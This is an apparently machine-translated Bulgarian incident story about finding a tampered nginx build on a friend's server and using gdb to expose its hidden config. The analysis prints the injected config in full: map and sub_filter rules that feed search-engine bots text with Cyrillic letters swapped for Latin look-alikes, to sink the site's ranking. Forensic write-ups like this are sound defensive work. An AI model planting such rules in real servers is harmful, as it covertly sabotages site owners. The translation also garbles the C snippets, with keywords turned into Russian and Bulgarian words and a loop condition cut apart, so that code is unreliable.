Една много неприятна история се случи с един мой познат. Но колкото беше неприятна за Михаил, толкова и занимателна за мен.
Трябва да кажа, че приятелят ми е съвсем UNIX-потребител: може сам да инсталира системата, да настрои mysql, php и да направи най-простите настройки. nginx.
Има десетина до петнадесет сайта, посветени на строителни инструменти.
Един от тези сайтове, посветен на вериги, плътно излиза на ТОП в търсачките. Този сайт е некомерсиален прегледник, но явно е попречил на някого и започнаха да го атакуват. То DDoS, то брутфорс, то пишат неприлични коментари и пращат оплаквания към хостинга и в РКН.
Неочаквано всичко утихна и това затишие не беше добро предзнаменование, а сайтът започна постепенно да напуска горните редици в резултатите.

Това беше прелюдия, а сега идва самата администраторска байка.
Часовете наближаваха през нощта, когато чу звънене на телефона: „Сань, можеш ли да погледнеш сървъра ми? Имам усещането, че ме хакнаха, не мога да го докажа, но това чувство ме мъчи вече трета седмица. Може би просто е време да се лекувам от параноята?”
Следваше тридесетминутно обсъждане, което може да се изрази накратко така:
- почвата за хакване беше напълно плодовита;
- хакерът можеше да получи привилегии на суперпотребител;
- атака (ако е имало такава) беше целенасочена именно срещу този сайт;
- проблемните области бяха поправени и е нужно само да разбера, имало ли е действително проникване;
- хакването не можеше да засегне кода на сайта и базите данни.
Що се отнася до последния пункт.

На света се гледа само от белия IP на фронтенда. Няма обмен между бекендите и фронтенда освен http(s), потребителите/паролите са различни, ключовете не са обменяни. На сивите адреси всички портове освен 80/443 са затворени. Белите IP на бекендите са известни само на двама потребители, на които Михаил напълно доверява.
На фронтенда е инсталиран Debian 9 и в момента на обаждането системата е изолирана от света с външен firewall и е спряна.
„Добре, дай достъпа, — решавам да отложа съня с час. — Ще разгледам с моите очи.”
Тук и нататък:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
В търсене на възможно хакване
Стартирам сървъра, първо в rescue-mode. Монтирам дисковете, преглеждам auth-логовете, history, системните логове и т.н. проверявам датите на създаване на файловете, макар и да разбирам, че един нормален хакер би „изчистил“ всичко след себе си, а и Миша вече доста „потоптал“, докато сам търсеше.
Започвам в нормален режим, без да знам точно какво да търся, изучавам конфигурациите. Първо ме интересува nginx тъй като, в общи лини, на фронтенда освен него не съществува нищо друго.
Конфигурациите са малки, добре структурирани в десетина файла, преглеждам ги просто cat’по ред. Изглежда всичко е чисто, но никога не може да се знае. include, ще направя пълен листинг:
$ nginx -T
nginx: конфигурационният файл /usr/local/etc/nginx/nginx.conf синтаксисът е ок
nginx: конфигурационният файл /usr/local/etc/nginx/nginx.conf тестът е успешен
Не разбрах: „Къде е листингът?“
$ nginx -V
nginx версия: nginx/1.10.3
TLS SNI поддръжка активирана
конфигурационни аргументи: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
К въпроса за листинга се добавя втори: „Защо е толкова стара версия на nginx?“
Освен това системата смята, че версията е инсталирана по-нова:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all малък, мощен, мащабируем уеб/прокси сървър
Звъня:
— Миш, защо го преработи? nginx?
— Успокой се, дори не знам как да го направя!
— Ок, добре, спи...
Nginx определено е преработен и изходът от листинга по „-T“ е скрит не случайно. Няма съмнение в хакването и може просто да е прието и (след като Миша все пак замени сървъра с нов) да се счита проблемът решен.
И наистина, след като някой получи права root'а, има смисъл да се направи само system reinstall, а да търсиш какво е било нарушено е безполезно, но този път любопитството победи съня. Как да разберем какво искат да скрият от нас?
Ще опитаме да траснем:
$ strace nginx -T
Преглеждаме, в трасировката явно липсват редове а-ля
write(1, "/etc/nginx/nginx.conf", 21 /etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
За интерес сравняваме изходите
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
Мисля, че част от кода /src/core/nginx.c
случай 't':
ngx_test_config = 1;
перерыв;
случай 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
перерыв;
беше преобразуван в:
случай 't':
ngx_test_config = 1;
перерыв;
случай 'T':
ngx_test_config = 1;
\/\/ngx_dump_config = 1;
перерыв;
или
случай 't':
ngx_test_config = 1;
перерыв;
случай 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
перерыв;
за това листингът по «-T» не се показва.
Но как да видим конфигурацията си?
Ако моята мисъл е вярна и проблемът е само в променливата ngx_dump_config да опитаме да я зададем с помощта на gdb, за щастие ключът —with-cc-opt -g присъства и се надяваме, че оптимизацията -O2 няма да ни пречи. Като се има предвид, че не знам как ngx_dump_config можеше да бъде обработена в случай ‘T’:, няма да извикваме този блок, а ще я зададем, използвайки случай ‘t’:
Защо може да се използва ‘-t’ наравно с ‘-T’Обработката на блока if(ngx_dump_config) става вътре if(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "конфигурационният файл %s тестът е успешен",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
за (i = 0; i config_dump.nelts; i++) {
ngx_write_stdout("# конфигурационен файл ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
Разбира се, ако кодът е променен в тази част, а не в случай ‘T’:, то моят метод няма да сработи.
Тестов nginx.confВече решавайки проблема по опитен път, беше установено, че за работата на зловреда е необходим минимален конфиг nginx от вида:
събития {
}
http {
include /etc/nginx/sites-enabled/*;
}
И него ще използваме за краткост в статията.
Стартиране на отладчика
$ gdb --silent --args nginx -t
Четене на символи от nginx...готово.
(gdb) break main
Точка спиране 1 на 0x1f390: файл src/core/nginx.c, ред 188.
(gdb) run
Стартиране на програмата: nginx -t
[Дебъгване на нишка с използване на libthread_db активирано]
Използване на хост библиотеката libthread_db "\/lib\/x86_64-linux-gnu\/libthread_db.so.1".
Точка спиране 1, main (argc=2, argv=0x7fffffffebc8) на src/core/nginx.c:188
188 src/core/nginx.c: Няма такъв файл или директория.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Продължаваме.
nginx: конфигурационният файл \/etc\/nginx\/nginx.conf синтаксиса е OK
nginx: тестът на конфигурационния файл \/etc\/nginx\/nginx.conf е успешен
# конфигурационен файл \/etc\/nginx\/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com\/bots" 1;
"~*www.google.com\/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*\/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
include \/etc\/nginx\/sites-enabled\/*;
}
# конфигурационен файл \/etc\/nginx\/sites-enabled\/default:
[Неправилен 1 (процес 32581) излезе нормално]
(gdb) quit
Стъпка по стъпка:
- поставяме точка на спиране в функцията main()
- стартираме програмата
- променяме стойността на променливата, която определя изхода на конфигурацията ngx_dump_config=1
- продължаваме/завършваме програмата
Както виждаме, реалната конфигурация се различава от нашата, извличаме от нея паразитната част:
map $http_user_agent $sign_user_agent
{
"~*yandex.com\/bots" 1;
"~*www.google.com\/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*\/wp-" 1;
default 0;
}
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Нека погледнем по реда какво се случва.
Определят се User-Agent‘и yandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com\/bots" 1;
"~*www.google.com\/bot.html" 1;
default 0;
}
Изключват се служебни страници WordPress:
map $uri $sign_uri
{
"~*\/wp-" 1;
default 0;
}
И за тези, които попадат под и двете предходни условия
map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
в текста html-страницата се променя ‘о’ на ‘o’ и ‘а’ на ‘a’:
sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;
Така е, тънкостта е, че ‘а’ != ‘a’ както и ‘о’ != ‘o’:

По този начин, ботове на търсачките получават вместо нормален 100%-кирилски текст модифициран боклук, разреден с латиница. ‘a’ и ‘o’. Не смея да споря как това влияе на SEO, но едва ли подобна буквена мешавица ще има позитивен ефект върху позициите в резултатите.
Какво да кажа, момчета с въображение.
Връзки
Източник: habr.com
